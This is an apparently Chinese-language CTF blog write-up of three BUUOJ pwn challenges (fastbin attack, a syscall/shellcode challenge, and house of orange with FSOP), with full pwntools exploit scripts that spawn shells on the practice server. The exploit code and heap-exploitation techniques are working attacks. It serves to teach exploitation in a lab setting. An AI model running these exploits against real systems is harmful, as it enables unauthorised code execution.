BUUOJ PWN EXERCISE(二)

BUUOJ PWN EXERCISE(二)

heap

# wustctf2020_easyfast(fastbin attack)

基本 fastbin attack 利用,改 chunk 到 backdoor 地址,将 if 条件中的变量覆盖为 0 拿 shell

## EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

# p = process('./wustctf2020_easyfast')
p = remote('node4.buuoj.cn',29433)

def add(size):
p.recvuntil('choice>')
p.sendline('1')
p.recvuntil('size>')
p.sendline(str(size))


def delete(index):
p.recvuntil('choice>')
p.sendline('2')
p.recvuntil('index>')
p.sendline(str(index))

def edit(idx,content):
p.sendlineafter('choice>','3')
p.sendlineafter('index>',str(idx))
p.send(content)

def backdoor():
p.sendlineafter('choice>','4')

add(0x40)
add(0x40)

delete(0)
delete(1)
delete(0)

edit(0,p64(0x602080))
add(0x40)

add(0x40)
edit(3,p64(0))
backdoor()
# gdb.attach(p)

p.interactive()

# starctf_2019_babyshell(syscall)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python
# coding=utf-8
from pwn import *

context(log_level = 'debug',os = 'linux',arch = 'amd64')

payload = asm("pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;syscall")
# sh = process("./starctf_2019_babyshell")
sh = remote("node4.buuoj.cn",28428)
sh.sendlineafter("plz:\n",payload)
sh.sendline('a' * 0xc + asm(shellcraft.sh()))

sh.interactive()

# houseoforange_hitcon_2016(house of orange,frop)

# 题目分析

image-20220303173344428

image-20220303174804774

image-20220303174729507

  • Build the house 即 add 函数,最多只能创建 4 次 chunk

image-20220303174836674

  • edit

    image-20220303175308057

    其中可以重新输入长度进行堆溢出,最多 edit3 次

    因此思路为首先使用 house of orange 释放出 unsorted bin 然后利用 FSOP 劫持程序流

    1. 申请一个小的 house,然后把 top chunk 的大小改小
    2. 申请一个较大的 house(此时原来的 topchunk 被释放进 unsorted bin),再申请一个 large bin 范围内的 house(切割 unsorted bin),利用该 house 泄露 libc 和堆地址
    3. 编辑 house,把剩下 unsorted bin 的 size 改为 0x60,并在其中伪造 _IO_FILE_plus结构体unsorted bin chunk
    4. 在这一步中,我们首先利用 unsorted bin attack 修改 _IO_list_all ,这需要把该 chunk 的 bk 改为 _IO_list_all-0x10
    5. 再次 malloc,触发错误,获得 shell
      malloc 时,对 unsorted bin 进行判断,此时该 chunk 的 size 为 0x60,不满足要求,就把该 chunk 放入 small bin,并且向 bk->fd 写入 main_arena+0x58,即向 _IO_list_all 写入 main_arena+0x58
      此时判断下一个 unsorted bin(_IO_list_all) ,而这里实际上没有 chunk,此时会触发错误
      此时第一个 _IO_FILE_plus结构体main_arena+0x58 ,而它不满足条件,就通过_chain 调到下一个_ IO_FILE_plus 结构体, _chain 位于 0x68 偏移的地方, main_arena+0x58+0x68=main_arena+0xc0 , 就是 small bin 中 0x60 大小的地方,这就回到了我们伪造的 _IO_FILE_plus结构体

# 思路

# 关于 house of orange

核心在于当题目中不存在 free 函数时,通过漏洞利用获得 free 的效果,即在没有 free 函数的情况下得到一个释放的堆块 (unsorted bin)。 这种操作的原理简单来说是当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。

# FSOP

在 libc 的 _IO_list_all 中,存放有一个 _IO_FILE_plus 结构体的指针,
如下图,它指向 _IO_2_1_stderr_

在这里插入图片描述

_IO_FILE_plus 结构体详细内容如下

在这里插入图片描述

其中_chain 指向下一个 _IO_FILE_plus 结构体

在 malloc 中,它调用 malloc_printerr 来打印错误,经过一系列调用,最终来到 _IO_flush_all_lockp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
while (fp != NULL)
{

fp = fp->_chain;
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)

如果满足以下条件:

1
2
3
fp->_mode > 0
_IO_vtable_offset (fp) == 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

就会调用 _IO_OVERFLOW,并把结构体当做第一个参数传入
如果我们能够把 _IO_OVERFLOW 改为 system,并且伪造结构体,开头为 /bin/sh,就能获得 shell 了

# EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

# r = remote("node4.buuoj.cn", 29155)

r= process('houseoforange_hitcon_2016')

elf = ELF("./houseoforange_hitcon_2016")
libc = ELF('./libc-2.23.so')

def add(size, content, price, color):
r.recvuntil("Your choice : ")
r.sendline('1')
r.recvuntil("Length of name :")
r.sendline(str(size))
r.recvuntil("Name :")
r.send(content)
r.recvuntil("Price of Orange:")
r.sendline(str(price))
r.recvuntil("Color of Orange:") #1-7
r.sendline(str(color))


def show():
r.recvuntil("Your choice : ")
r.sendline('2')

def edit(size, content, price, color):
r.recvuntil("Your choice : ")
r.sendline('3')
r.recvuntil("Length of name :")
r.sendline(str(size))
r.recvuntil("Name:")
r.send(content)
r.recvuntil("Price of Orange:")
r.sendline(str(price))
r.recvuntil("Color of Orange:") #1-7
r.sendline(str(color))



add(0x30,'aaaa\n',0x1234,0xddaa)
payload = 'a' * 0x30 +p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0) * 2 + p64(0xf81)
edit(len(payload), payload, 666, 0xddaa)

add(0x1000, 'a\n',0x1234, 0xddaa)
add(0x400, 'a' * 8, 199, 2)
show()
r.recvuntil('a'*8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x668 - 0x10
success('malloc_hook = '+hex(malloc_hook))
libc.address = malloc_hook - libc.symbols['__malloc_hook']
io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']

payload = 'b' * 0x10
edit(0x10, payload, 199, 2)
show()
r.recvuntil('b'*0x10)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xE0
success('heap = '+hex(heap))

#pause()
payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0)
fake_file = '/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload, 666, 2)
#pause()
r.recvuntil("Your choice : ")
r.sendline('1')

r.interactive()

# 参考文章

https://bbs.pediy.com/thread-222718.htm

https://www.anquanke.com/post/id/218887#h3-4

https://blog.csdn.net/weixin_44145820/article/details/105270036

Author

y1seco

Posted on

2022-03-03

Updated on

2022-03-07

Licensed under

Comments

:D 一言句子获取中...